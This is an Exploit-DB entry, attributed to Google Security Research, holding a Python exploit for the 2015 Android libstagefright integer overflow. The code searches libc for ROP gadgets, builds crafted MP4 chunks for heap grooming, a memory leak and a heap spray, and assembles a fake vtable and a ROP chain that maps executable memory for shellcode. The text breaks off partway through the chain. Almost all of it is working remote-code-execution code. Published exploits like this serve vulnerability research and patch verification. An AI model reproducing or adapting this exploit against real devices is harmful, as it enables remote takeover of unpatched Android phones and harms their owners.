Exploit-DB #38226
Description: Google Android - libstagefright Integer Overflow Remote Code Execution
Type: remote
Platform: android
Date: 2015-09-17
Author: Google Security Research

Exploit:
#!/usr/bin/python2

import cherrypy
import os
import pwnlib.asm as asm
import pwnlib.elf as elf
import sys
import struct


with open('shellcode.bin', 'rb') as tmp:
  shellcode = tmp.read()

while len(shellcode) % 4 != 0:
  shellcode += '\x00'

# heap grooming configuration
alloc_size = 0x20
groom_count = 0x4
spray_size = 0x100000
spray_count = 0x10

# address of the buffer we allocate for our shellcode
mmap_address = 0x90000000

# addresses that we need to predict
libc_base = 0xb6ebd000
spray_address = 0xb3000000

# ROP gadget addresses
stack_pivot = None
pop_pc = None
pop_r0_r1_r2_r3_pc = None
pop_r4_r5_r6_r7_pc = None
ldr_lr_bx_lr = None
ldr_lr_bx_lr_stack_pad = 0
mmap64 = None
memcpy = None

def find_arm_gadget(e, gadget):
  gadget_bytes = asm.asm(gadget, arch='arm')
  gadget_address = None
  for address in e.search(gadget_bytes):
    if address % 4 == 0:
      gadget_address = address
      if gadget_bytes == e.read(gadget_address, len(gadget_bytes)):
        print asm.disasm(gadget_bytes, vma=gadget_address, arch='arm')
        break
  return gadget_address

def find_thumb_gadget(e, gadget):
  gadget_bytes = asm.asm(gadget, arch='thumb')
  gadget_address = None
  for address in e.search(gadget_bytes):
    if address % 2 == 0:
      gadget_address = address + 1
      if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)):
        print asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb')
        break
  return gadget_address
  
def find_gadget(e, gadget):
  gadget_address = find_thumb_gadget(e, gadget)
  if gadget_address is not None:
    return gadget_address
  return find_arm_gadget(e, gadget)

def find_rop_gadgets(path):
  global memcpy
  global mmap64
  global stack_pivot
  global pop_pc
  global pop_r0_r1_r2_r3_pc
  global pop_r4_r5_r6_r7_pc
  global ldr_lr_bx_lr
  global ldr_lr_bx_lr_stack_pad

  e = elf.ELF(path)
  e.address = libc_base

  memcpy = e.symbols['memcpy']
  print '[*] memcpy : 0x{:08x}'.format(memcpy)
  mmap64 = e.symbols['mmap64']
  print '[*] mmap64 : 0x{:08x}'.format(mmap64)

  # .text:00013344    ADD             R2, R0, #0x4C
  # .text:00013348    LDMIA           R2, {R4-LR}
  # .text:0001334C    TEQ             SP, #0
  # .text:00013350    TEQNE           LR, #0
  # .text:00013354    BEQ             botch_0
  # .text:00013358    MOV             R0, R1
  # .text:0001335C    TEQ             R0, #0
  # .text:00013360    MOVEQ           R0, #1
  # .text:00013364    BX              LR

  pivot_asm = ''
  pivot_asm += 'add   r2, r0, #0x4c\n'
  pivot_asm += 'ldmia r2, {r4 - lr}\n'
  pivot_asm += 'teq   sp, #0\n'
  pivot_asm += 'teqne lr, #0'
  stack_pivot = find_arm_gadget(e, pivot_asm)
  print '[*] stack_pivot : 0x{:08x}'.format(stack_pivot)

  pop_pc_asm = 'pop {pc}'
  pop_pc = find_gadget(e, pop_pc_asm)
  print '[*] pop_pc : 0x{:08x}'.format(pop_pc)

  pop_r0_r1_r2_r3_pc = find_gadget(e, 'pop {r0, r1, r2, r3, pc}')
  print '[*] pop_r0_r1_r2_r3_pc : 0x{:08x}'.format(pop_r0_r1_r2_r3_pc)

  pop_r4_r5_r6_r7_pc = find_gadget(e, 'pop {r4, r5, r6, r7, pc}')
  print '[*] pop_r4_r5_r6_r7_pc : 0x{:08x}'.format(pop_r4_r5_r6_r7_pc)

  ldr_lr_bx_lr_stack_pad = 0
  for i in range(0, 0x100, 4):
    ldr_lr_bx_lr_asm =  'ldr lr, [sp, #0x{:08x}]\n'.format(i)
    ldr_lr_bx_lr_asm += 'add sp, sp, #0x{:08x}\n'.format(i + 8)
    ldr_lr_bx_lr_asm += 'bx  lr'
    ldr_lr_bx_lr = find_gadget(e, ldr_lr_bx_lr_asm)
    if ldr_lr_bx_lr is not None:
      ldr_lr_bx_lr_stack_pad = i
      break
  
def pad(size):
  return '#' * size

def pb32(val):
  return struct.pack(">I", val)

def pb64(val):
  return struct.pack(">Q", val)

def p32(val):
  return struct.pack("<I", val)

def p64(val):
  return struct.pack("<Q", val)

def chunk(tag, data, length=0):
  if length == 0:
    length = len(data) + 8
  if length > 0xffffffff:
    return pb32(1) + tag + pb64(length)+ data
  return pb32(length) + tag + data

def alloc_avcc(size):
  avcc = 'A' * size
  return chunk('avcC', avcc)

def alloc_hvcc(size):
  hvcc = 'H' * size
  return chunk('hvcC', hvcc)

def sample_table(data):
  stbl = ''
  stbl += chunk('stco', '\x00' * 8)
  stbl += chunk('stsc', '\x00' * 8)
  stbl += chunk('stsz', '\x00' * 12)
  stbl += chunk('stts', '\x00' * 8)
  stbl += data
  return chunk('stbl', stbl)

def memory_leak(size):
  pssh = 'leak'
  pssh += 'L' * 16
  pssh += pb32(size)
  pssh += 'L' * size
  return chunk('pssh', pssh)

def heap_spray(size):
  pssh = 'spry'
  pssh += 'S' * 16
  pssh += pb32(size)

  page = ''

  nop = asm.asm('nop', arch='thumb')
  while len(page) < 0x100:
    page += nop
  page += shellcode
  while len(page) < 0xed0:
    page += '\xcc'

  # MPEG4DataSource fake vtable
  page += p32(stack_pivot)

  # pivot swaps stack then returns to pop {pc}
  page += p32(pop_r0_r1_r2_r3_pc)

  # mmap64(mmap_address, 
  #        0x1000,
  #        PROT_READ | PROT_WRITE | PROT_EXECUTE,
  #        MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,
  #        -1,
  #        0);

  page += p32(mmap_address)             # r0 = address
  page += p32(0x1000)                   # r1 = size
  page += p32(7)                        # r2 = protection
  page += p32(0x32)                     # r3 = flags
  page += p32(ldr_lr_bx_lr)             # pc

  page += pad(ldr_lr_bx_lr_stack_pad)
  page += p32(pop_r4_r5_r6_r7_pc)       # lr
  page += pad(4)

  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(mmap64)                   # pc

  page += p32(0xffffffff)               # fd      (and then r4)
  page += pad(4)                        # padding (and then r5)
  page += p64(0)                        # offset  (and then r6, r7)
  page += p32(pop_r0_r1_r2_r3_pc)       # pc

  # memc